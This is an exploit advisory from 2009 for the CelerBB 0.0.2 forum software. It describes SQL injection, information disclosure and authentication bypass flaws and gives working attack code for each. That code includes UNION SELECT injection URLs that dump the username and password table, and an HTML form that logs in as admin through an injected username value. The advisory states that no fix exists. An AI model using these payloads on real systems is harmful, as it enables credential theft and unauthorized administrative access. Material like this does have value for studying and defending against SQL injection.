******* Salvatore "drosophila" Fresta *******
[+] Application: CelerBB
[+] Version: 0.0.2
[+] Website: http://celerbb.sourceforge.net/
[+] Bugs: [A] Multiple SQL Injection
[B] Information Disclosure
[C] Authenticaion Bypass
[+] Exploitation: Remote
[+] Date: 05 Mar 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx_at_gmail.com
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[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Multiple SQL Injection
[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewforum.php, viewtopic.php
This bug allows a guest to view username and
password list.
- [B] Information Disclosure
[-] Requisites: none
[-] File affected: showme.php
This bug allows a guest to view reserved
information of any user.
- [C] Authentication Bypass
[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php
This bug allows a guest to bypass authentication.
*************************************************
[+] Code
- [A] Multiple SQL Injection
http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT
1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM
celer_users%23
http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT
1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL
FROM celer_users%23
- [B] Information Disclosure
http://www.site.com/path/showme.php?user=admin
- [C] Authentication Bypass
<html>
<head>
<title>CelerBB 0.0.2 Authentication Bypass Exploit</title>
</head>
<body>
<form action="login.php" method="POST">
<input type="hidden" name="Username" value="admin'#">
<input type="submit" value="Exploit">
</form>
</body>
</html>
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[+] Fix
No fix.
*************************************************
<pre>-- Salvatore "drosophila" FrestaCWNP444351</pre>
